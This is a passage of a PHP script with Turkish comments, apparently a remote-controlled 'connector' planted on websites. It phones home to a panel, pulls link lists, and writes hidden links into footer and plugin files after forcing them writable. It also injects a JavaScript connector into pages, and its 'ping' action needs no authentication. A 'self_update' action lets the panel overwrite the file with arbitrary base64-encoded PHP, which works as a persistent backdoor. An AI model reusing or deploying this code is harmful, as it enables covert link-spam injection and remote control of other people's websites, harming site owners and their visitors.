'/plugins/system/rslinks/rslinks.php')); $removed = false; foreach ($files_to_check as $file_path) { if (!file_exists($file_path)) continue; if (!is_writable($file_path)) { @chmod($file_path, 0666); clearstatcache(true, $file_path); } if (!is_writable($file_path)) continue; $content = @file_get_contents($file_path); if (!$content) continue; if (strpos($content, $link_id) === false && strpos($content, $short_id) === false) continue; $patterns = [ '/]*>[^<]*<\/a>/is', '/]*>[^<]*<\/a>\s*/is', '/]*>]*>[^<]*<\/a><\/div>\s*/is', '/]*>]*>[^<]*<\/a><\/div>\s*/is', '/\n?]*>[^<]*<\/a>\n?/is', '/\n?]*>[^<]*<\/a>\n?/is' ]; $original = $content; foreach ($patterns as $pattern) { $content = preg_replace($pattern, '', $content); } if ($content !== $original) { if (@file_put_contents($file_path, $content)) $removed = true; } } if ($removed || $plugin_mode) clear_site_caches($base, $site_info['site_type']); if ($plugin_mode) return ['success' => true, 'message' => 'Eklenti modunda - links dosyasindan kaldirildi']; return ['success' => true, 'message' => $removed ? 'Link kaldirildi' : 'Link kayitlardan kaldirildi']; } // ==================== OTOMATİK BAĞLANTI ==================== function auto_connect($force = false) { $config = get_config(); $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) { return ['error' => 'Panel URL yapilandirilmamis']; } // Heartbeat panele kayitli site_key ile esleşmeli - bu yuzden once // dosyadaki/domain tabanli anahtar degil, baglantiyi panele baglayan // gomulu UNIVERSAL_SITE_KEY kullanilir (panel bunu DB'de aratir). $universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : ''; if (!empty($universal) && strpos($universal, '{{') === false) { $site_key = $universal; } else { $site_key = get_stored_key(); } if (empty($site_key)) return ['error' => 'Site key bulunamadi']; // A re-uploaded file (new mtime), a different key or panel URL must re-register; // otherwise a stale .rs_config left over from a deleted panel record blocks reconnection for 24h. $fingerprint = md5((string)@filemtime(__FILE__) . '|' . $site_key . '|' . $panel_url); if (!$force && !empty($config['connected']) && !empty($config['connected_at']) && ((isset($config['connected_fp']) ? $config['connected_fp'] : '')) === $fingerprint && time() - $config['connected_at'] < 86400) { return ['already_connected' => true]; } $site_info = detect_site_info(); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $script = (isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : ''); $connector_url = $protocol . '://' . $host . $script; $data = [ 'action' => 'connector_heartbeat', 'site_key' => $site_key, 'connector_url' => $connector_url, 'site_info' => $site_info, 'timestamp' => time() ]; $heartbeat_url = rtrim($panel_url, '/'); if (substr($heartbeat_url, -4) === '/api') { $heartbeat_url .= '/connector/heartbeat'; } else { $heartbeat_url .= '/api/connector/heartbeat'; } $result = send_to_panel($heartbeat_url, $data); if (!empty($result['success'])) { $config['connected'] = true; $config['connected_at'] = time(); $config['connected_fp'] = $fingerprint; $config['panel_url'] = $panel_url; } else { $config['connected'] = false; unset($config['connected_at'], $config['connected_fp']); } save_config($config); return $result; } /** * Tek bir POST denemesi. Donus: [sonuc dizisi, panelden gecerli JSON geldi mi]. * Ham cevap JSON degilse (CDN/WAF sayfasi, 5xx vb.) hata dizisine http_code, * sunucu adi ve govdenin kisa bir ozeti eklenir; boylece "Gecersiz yanit"in * kaynagi (orn. Cloudflare 520) ping cevabindan dogrudan okunabilir. */ function panel_http_post($url, $json) { $response = false; $headers = []; if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => [ 'Content-Type: application/json', 'Content-Length: ' . strlen($json), 'User-Agent: ' . RS_USER_AGENT, 'Connection: close' ], 'content' => $json, 'timeout' => 10, 'ignore_errors' => true ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $response = @file_get_contents($url, false, $context); if (isset($http_response_header) && is_array($http_response_header)) { $headers = $http_response_header; } } // allow_url_fopen kapaliysa ya da baglanti kurulamadiysa cURL ile bir kez daha dene. if ($response === false && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $json, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CONNECTTIMEOUT => 6, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => RS_USER_AGENT, CURLOPT_HTTPHEADER => ['Content-Type: application/json'] ]); $raw = curl_exec($ch); $hsize = (int)curl_getinfo($ch, CURLINFO_HEADER_SIZE); $curl_error = curl_error($ch); curl_close($ch); if ($raw !== false) { $response = (string)substr($raw, $hsize); $headers = preg_split('/\r?\n/', trim((string)substr($raw, 0, $hsize))); } else { return [['success' => false, 'error' => 'Baglanti hatasi', 'detail' => $curl_error], false]; } } if ($response === false) { return [['success' => false, 'error' => 'Baglanti hatasi'], false]; } $http_code = 0; $server = ''; foreach ($headers as $h) { if (preg_match('#^HTTP/\S+\s+(\d{3})#i', $h, $m)) { $http_code = (int)$m[1]; } elseif (stripos($h, 'server:') === 0) { $server = trim(substr($h, 7)); } } $result = json_decode($response, true); if (is_array($result) && !empty($result)) { $result['http_code'] = $http_code; return [$result, true]; } $snippet = trim(preg_replace('/\s+/', ' ', strip_tags((string)$response))); return [[ 'success' => false, 'error' => 'Gecersiz yanit', 'http_code' => $http_code, 'server' => $server, 'length' => strlen((string)$response), 'snippet' => function_exists('mb_substr') ? mb_substr($snippet, 0, 160) : substr($snippet, 0, 160) ], false]; } function send_to_panel($url, $data) { $json = json_encode($data, JSON_UNESCAPED_UNICODE); // Birincil yol; rewrite/CDN sorunlarina karsi ikinci yol: /api/index.php?bp_path=... $urls = [$url]; if (preg_match('#^(.*)/api/(connector/[a-z_/]+)$#', $url, $m)) { $urls[] = $m[1] . '/api/index.php?bp_path=' . $m[2]; } $last = ['success' => false, 'error' => 'Baglanti hatasi']; foreach ($urls as $u) { // 5xx/CDN hatalari gecici olabilir: ayni yola bir kez daha dene. for ($attempt = 0; $attempt < 2; $attempt++) { list($result, $is_json) = panel_http_post($u, $json); $last = $result; if ($is_json) { // Panelden gelen JSON cevap (basari ya da 403 reddi) kesin sonuctur. return $result; } usleep(250000); } } return $last; } // ==================== ANA İŞLEM ==================== ob_start(); $raw_action = (isset($_GET['action']) ? $_GET['action'] : (isset($_POST['action']) ? $_POST['action'] : 'ping')); $action = normalize_action_name($raw_action); $req = get_request_data(); // Korumalı action'lar $protected_actions = ['add_link', 'bulk_add_links', 'remove_link', 'sync_links', 'get_links', 'info', 'set_output_mode', 'update_panel_url', 'inject_js_connector', 'remove_js_connector']; if (in_array($action, $protected_actions)) { if (!authenticate_request($req)) { respond_auth_fail(); } } switch ($action) { case 'ping': $auto_result = auto_connect(!empty($req['reconnect']) || !empty($_GET['reconnect'])); cleanup_legacy_auto_prepend(find_document_root()); cleanup_broken_js_injections(); $js_inject_result = inject_js_connector(); $pull_result = fetch_remote_links(true); $site_info = detect_site_info(); if (!empty($js_inject_result['injected'])) clear_site_caches(find_document_root(), $site_info['site_type']); $data = [ 'site' => $site_info['site'], 'site_name' => $site_info['site_name'], 'site_type' => $site_info['site_type'], 'language' => $site_info['language'], 'country' => $site_info['country'], 'footer_detected' => $site_info['footer_detected'], 'footer_writable' => $site_info['footer_writable'], 'version' => RS_CONNECTOR_VERSION, 'key_registered' => !empty(get_stored_key()), 'connector_ready' => true, 'auto_connect' => $auto_result, 'js_connector' => $js_inject_result, 'links_pulled' => $pull_result ]; respond(true, $data, 'Connector aktif'); break; case 'register': $new_key = trim((string)((isset($req['site_key']) ? $req['site_key'] : ''))); $setup_token = (isset($req['setup_token']) ? $req['setup_token'] : ''); $stored_key = get_stored_key(); if (empty($new_key)) { respond(false, [], 'site_key gerekli'); } // İlk kayıt (key dosyası yok): setup token zorunlu if (!file_exists(KEY_FILE) || empty(trim(@file_get_contents(KEY_FILE) ?: ''))) { $expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected_token) || strpos($expected_token, '{{') !== false) { if (!authenticate_request($req)) { respond(false, [], 'Setup token tanimli degil; kayit icin universal key veya HMAC imzasi gerekli'); } } elseif (empty($setup_token) || !hash_equals((string)$expected_token, (string)$setup_token)) { // Setup token eşleşmedi ama HMAC veya universal key ile auth dene if (!authenticate_request($req)) { respond(false, [], 'Gecersiz setup token'); } } } else { // Mevcut key var: auth gerekli if (!authenticate_request($req)) { respond_auth_fail(); } } save_key($new_key); $js_result = inject_js_connector(); fetch_remote_links(true); $site_info = detect_site_info(); respond(true, [ 'registered' => true, 'site_key' => $new_key, 'site_info' => $site_info, 'js_connector' => $js_result ], 'Site anahtari kaydedildi'); break; case 'get_key': $setup_token = (isset($req['setup_token']) ? $req['setup_token'] : (isset($_GET['setup_token']) ? $_GET['setup_token'] : '')); $expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; // Setup token kontrolü if (!empty($expected_token) && strpos($expected_token, '{{') === false) { if (empty($setup_token) || $setup_token !== $expected_token) { // Setup token yanlış - HMAC veya key auth da dene if (!authenticate_request($req)) { respond(false, [], 'Gecersiz setup token'); } } } // Mevcut key'i al veya yeni oluştur $current_key = ''; if (file_exists(KEY_FILE)) { $current_key = trim(@file_get_contents(KEY_FILE) ?: ''); } if (empty($current_key)) { // IMPORTANT: Default to a stable, DB-friendly key (varchar(12) compatible), // instead of generating a long random key that may not fit panel DB schemas. $current_key = generate_site_static_key(); save_key($current_key); } $site_info = detect_site_info(); respond(true, [ 'site_key' => $current_key, 'key_type' => 'stored_or_domain_static', 'name' => (isset($site_info['site_name']) ? $site_info['site_name'] : $_SERVER['HTTP_HOST']), 'site_type' => (isset($site_info['site_type']) ? $site_info['site_type'] : 'php'), 'language' => (isset($site_info['language']) ? $site_info['language'] : 'TR'), 'country' => (isset($site_info['country']) ? $site_info['country'] : 'TR')], 'Site anahtari alindi'); break; case 'info': $site_info = detect_site_info(); respond(true, $site_info, 'Site bilgisi'); break; case 'set_output_mode': $mode = strtolower(trim((string)((isset($req['mode']) ? $req['mode'] : (isset($req['link_output_mode']) ? $req['link_output_mode'] : 'hidden'))))); $mode = ($mode === 'visible') ? 'visible' : 'hidden'; $config = get_config(); $config['link_output_mode'] = $mode; $config['updated_at'] = time(); save_config($config); respond(true, ['link_output_mode' => $mode], 'Output mode guncellendi'); break; case 'get_links': if (!authenticate_request($req)) respond_auth_fail(); $links = get_links(); respond(true, ['links' => array_values($links), 'total' => count($links)], 'Linkler'); break; case 'add_link': if (!authenticate_request($req)) respond_auth_fail(); $url = trim((string)((isset($req['url']) ? $req['url'] : ''))); $anchor = trim((string)((isset($req['anchor']) ? $req['anchor'] : ''))); $rel = normalize_rel((isset($req['rel']) ? $req['rel'] : 'dofollow')); if (empty($url) || empty($anchor)) { respond(false, [], 'URL ve anchor gerekli'); } $link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12); $links = get_links(); $links[$link_id] = [ 'id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time() ]; save_links($links); $result = inject_link($url, $anchor, $link_id, $rel); $injected = (!empty($result['success']) && !empty($result['injected'])); if (!$injected) { unset($links[$link_id]); save_links($links); respond(false, [ 'link_id' => $link_id, 'injected' => false, 'footer_path' => (isset($result['footer_path']) ? $result['footer_path'] : null), 'message' => (isset($result['message']) ? $result['message'] : '')], (isset($result['message']) ? $result['message'] : 'Link enjekte edilemedi')); } $js_result = inject_js_connector(); $site_type_now = detect_site_info()['site_type']; $cleared = clear_site_caches(find_document_root(), $site_type_now); // inject_link() zaten bir self-HTTP dogrulamasi yaptiysa (auto_prepend yolu) sonucu // tekrar kullan; boylece ayni istekte ikinci bir self-request (ve olasi gecikme) olusmaz. $verified = array_key_exists('homepage_verified', $result) ? $result['homepage_verified'] : verify_homepage_contains(''); $msg = (string)((isset($result['message']) ? $result['message'] : 'Link eklendi')); if ($verified === true) $msg .= ' · anasayfada dogrulandi'; elseif ($verified === false) $msg .= ' · anasayfada henuz gorunmuyor (onbellek/CDN?)'; respond(true, [ 'link_id' => $link_id, 'injected' => true, 'footer_path' => (isset($result['footer_path']) ? $result['footer_path'] : null), 'files' => (isset($result['files']) ? $result['files'] : 1), 'details' => (isset($result['details']) ? $result['details'] : []), 'homepage_verified' => $verified, 'cache_cleared' => $cleared, 'message' => $msg, 'js_connector' => $js_result ], $msg); break; case 'bulk_add_links': if (!authenticate_request($req)) respond_auth_fail(); $incoming_links = (isset($req['links']) ? $req['links'] : []); if (is_string($incoming_links)) { $decoded = json_decode($incoming_links, true); if (is_array($decoded)) $incoming_links = $decoded; } if (!is_array($incoming_links) || empty($incoming_links)) { respond(false, [], 'links array gerekli'); } $max_per_request = 1000; $links_to_process = array_slice(array_values($incoming_links), 0, $max_per_request); $stored_links = get_links(); $results = []; $ok_count = 0; $fail_count = 0; foreach ($links_to_process as $row) { if (!is_array($row)) { $fail_count++; continue; } $url = trim((string)((isset($row['url']) ? $row['url'] : ''))); $anchor = trim((string)((isset($row['anchor']) ? $row['anchor'] : ''))); $rel = normalize_rel((isset($row['rel']) ? $row['rel'] : 'dofollow')); if ($url === '' || $anchor === '') { $fail_count++; continue; } $link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12); $stored_links[$link_id] = ['id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time()]; $inject = inject_link($url, $anchor, $link_id, $rel); if (!empty($inject['success'])) { $ok_count++; $results[] = ['success' => true, 'link_id' => $link_id, 'url' => $url, 'anchor' => $anchor]; } else { unset($stored_links[$link_id]); $fail_count++; $results[] = ['success' => false, 'link_id' => $link_id, 'url' => $url, 'error' => (isset($inject['message']) ? $inject['message'] : 'inject failed')]; } } save_links($stored_links); respond(true, ['total' => count($links_to_process), 'success' => $ok_count, 'failed' => $fail_count, 'items' => $results], 'Toplu link ekleme tamamlandi'); break; case 'remove_link': if (!authenticate_request($req)) respond_auth_fail(); $link_id = trim((string)((isset($req['link_id']) ? $req['link_id'] : ''))); if (empty($link_id)) respond(false, [], 'link_id gerekli'); $links = get_links(); if (isset($links[$link_id])) { unset($links[$link_id]); save_links($links); } $result = remove_link($link_id); if (empty($result['success'])) { respond(false, ['removed' => false, 'message' => (isset($result['message']) ? $result['message'] : '')], (isset($result['message']) ? $result['message'] : 'Link kaldirilamadi')); } respond(true, ['removed' => true, 'message' => (isset($result['message']) ? $result['message'] : '')], 'Link kaldirildi'); break; case 'sync_links': if (!authenticate_request($req)) respond_auth_fail(); $new_links = (isset($req['links']) ? $req['links'] : []); if (!is_array($new_links)) respond(false, [], 'links array olmali'); $current_links = get_links(); $current_ids = array_keys($current_links); $new_ids = array_column($new_links, 'id'); $to_remove = array_diff($current_ids, $new_ids); foreach ($to_remove as $lid) remove_link($lid); $to_add = array_diff($new_ids, $current_ids); foreach ($new_links as $link) { if (in_array($link['id'], $to_add)) { inject_link($link['url'], $link['anchor'], $link['id'], (isset($link['rel']) ? $link['rel'] : 'dofollow')); } } $formatted = []; foreach ($new_links as $link) { $formatted[$link['id']] = $link; } save_links($formatted); respond(true, ['synced' => true, 'added' => count($to_add), 'removed' => count($to_remove), 'total' => count($new_links)], 'Linkler senkronize edildi'); break; case 'output': header('Content-Type: text/html; charset=UTF-8'); $links = get_links(); $html = ''; foreach ($links as $link) { $u = isset($link['url']) ? (string)$link['url'] : ''; $a = isset($link['anchor']) ? (string)$link['anchor'] : ''; if ($u !== '' && $a !== '') { $html .= build_link_html($u, $a, normalize_rel((isset($link['rel']) ? $link['rel'] : 'dofollow'))); } } echo $html; exit; case 'diagnose': if (!authenticate_request($req)) respond_auth_fail(); $base = find_document_root(); $site_info = detect_site_info(); $diag = [ 'php_version' => phpversion(), 'server_software' => (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown'), 'document_root' => (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'), 'script_path' => __FILE__, 'base_detected' => $base, 'file_permissions' => [ 'key_file' => KEY_FILE, 'key_file_exists' => file_exists(KEY_FILE), 'key_file_writable' => is_writable(dirname(KEY_FILE)), 'links_file' => LINKS_FILE, 'links_file_exists' => file_exists(LINKS_FILE), ], 'site_info' => $site_info, 'footer_analysis' => [ 'footer_paths_found' => get_footer_paths($base, $site_info['site_type']), 'writable_footers' => array_filter(get_footer_paths($base, $site_info['site_type']), 'is_writable'), ], 'panel_config' => [ 'panel_url_set' => defined('PANEL_API_URL') && strpos(PANEL_API_URL, '{{') === false, 'site_key_set' => !empty(get_stored_key()), 'setup_token_set' => defined('SETUP_TOKEN') && strpos(SETUP_TOKEN, '{{') === false, ], 'all_valid_keys_count' => count(get_all_valid_keys()), 'stored_key_source' => file_exists(KEY_FILE) ? 'file' : 'domain_based', 'recommendations' => [] ]; if (!$diag['file_permissions']['key_file_writable']) { $diag['recommendations'][] = 'KRITIK: Connector dizini yazilabilir degil.'; } if (empty($diag['footer_analysis']['writable_footers'])) { $diag['recommendations'][] = 'UYARI: Yazilabilir footer dosyasi bulunamadi.'; } respond(true, $diag, 'Sistem diagnostigi tamamlandi'); break; case 'batch_ping': $batch_id = (isset($req['batch_id']) ? $req['batch_id'] : uniqid('b')); respond(true, [ 'batch_id' => $batch_id, 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'index' => intval((isset($req['current_index']) ? $req['current_index'] : (isset($req['site_index']) ? $req['site_index'] : 0))), 'version' => RS_CONNECTOR_VERSION, 'key_registered' => !empty(get_stored_key()), 'connector_ready' => true, 'timestamp' => time() ], 'Batch ping OK'); break; case 'auth_check': // Strict key-match reporting (do not treat setup_token as key_match in diagnostics). $provided_key = get_provided_site_key($req); $stored_key = get_stored_key(); $domain_key = generate_site_static_key(); $valid_keys = get_all_valid_keys(); $strict_key_match = false; foreach ($valid_keys as $vk) { if (!empty($provided_key) && hash_equals((string)$vk, (string)$provided_key)) { $strict_key_match = true; break; } } // Full auth check can succeed via HMAC/setup token too. $authed = authenticate_request($req); respond(true, [ 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'key_registered' => !empty($stored_key), 'key_match' => $strict_key_match, 'auth_ok' => $authed, 'provided_key_len' => is_string($provided_key) ? strlen($provided_key) : 0, 'domain_key' => $domain_key, 'version' => RS_CONNECTOR_VERSION, 'auth_ready' => true ], 'Auth check OK'); break; case 'inject_js_connector': if (!authenticate_request($req)) respond_auth_fail(); $result = inject_js_connector(); respond(!empty($result['success']), $result, (isset($result['message']) ? $result['message'] : '')); break; case 'remove_js_connector': if (!authenticate_request($req)) respond_auth_fail(); $result = remove_js_connector(); respond(!empty($result['success']), $result, (isset($result['message']) ? $result['message'] : '')); break; case 'update_panel_url': if (!authenticate_request($req)) respond_auth_fail(); $new_url = trim((string)((isset($req['panel_url']) ? $req['panel_url'] : ''))); if (empty($new_url) || !filter_var($new_url, FILTER_VALIDATE_URL)) { respond(false, [], 'Gecerli bir panel_url gerekli'); } $config = get_config(); $config['panel_url'] = $new_url; $config['panel_url_updated_at'] = time(); save_config($config); $self_content = @file_get_contents(__FILE__); if ($self_content && preg_match("/define\('PANEL_API_URL',\s*'([^']*)'\)/", $self_content, $m)) { $old_url = $m[1]; if ($old_url !== $new_url) { $updated = str_replace( "define('PANEL_API_URL', '" . $old_url . "')", "define('PANEL_API_URL', '" . addslashes($new_url) . "')", $self_content ); force_writable(__FILE__); @file_put_contents(__FILE__, $updated); } } respond(true, ['panel_url' => $new_url], 'Panel URL guncellendi'); break; case 'self_update': case 'update_connector': case 'remote_update': if (!authenticate_request($req)) respond_auth_fail(); // Base64 govdesi WAF/mod_security'nin ham PHP'yi reddetmesini onler; varsa tercih edilir. $source = ''; if (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') { $decoded = base64_decode($req['source_b64'], true); if ($decoded !== false) $source = $decoded; } if ($source === '') { $source = (isset($req['source']) ? $req['source'] : (isset($req['new_content']) ? $req['new_content'] : '')); } if (!is_string($source) || strlen($source) < 1000) respond(false, [], 'Gecersiz kaynak kodu'); if (strpos(ltrim($source), '<' . '?php') !== 0) respond(false, [], 'Gecersiz PHP kaynak kodu'); if (strpos($source, 'namespace RSConnector') === false || strpos($source, "case 'self_update'") === false) { respond(false, [], 'Kaynak kod connector imzasi tasimiyor'); } if (function_exists('token_get_all')) { try { token_get_all($source, TOKEN_PARSE); } catch (\Exception $e) { respond(false, [], 'Kaynak kodda sozdizimi hatasi: ' . $e->getMessage()); } } // Backup keeps a .php extension so a web server executes it instead of serving the source (and keys) as text. $backup_path = dirname(__FILE__) . '/.rs_connector_prev.php'; @copy(__FILE__, $backup_path); force_writable(__FILE__); $tmp_path = __FILE__ . '.tmp'; if (@file_put_contents($tmp_path, $source) !== strlen($source)) { @unlink($tmp_path); respond(false, [], 'Gecici dosya yazilamadi'); } if (!@rename($tmp_path, __FILE__)) { @unlink($tmp_path); if (@file_put_contents(__FILE__, $source) !== strlen($source)) { if (file_exists($backup_path)) @copy($backup_path, __FILE__); respond(false, [], 'Dosya yazilamadi'); } } clearstatcache(true, __FILE__); if (function_exists('opcache_invalidate')) @opcache_invalidate(__FILE__, true); $new_version = ''; if (preg_match("/RS_CONNECTOR_VERSION',\s*'([^']+)'/", $source, $vm)) { $new_version = $vm[1]; } respond(true, ['updated' => true, 'backup' => basename($backup_path), 'new_size' => strlen($source), 'version' => $new_version], 'Connector guncellendi'); break; default: respond(false, [], 'Bilinmeyen action: ' . $action); }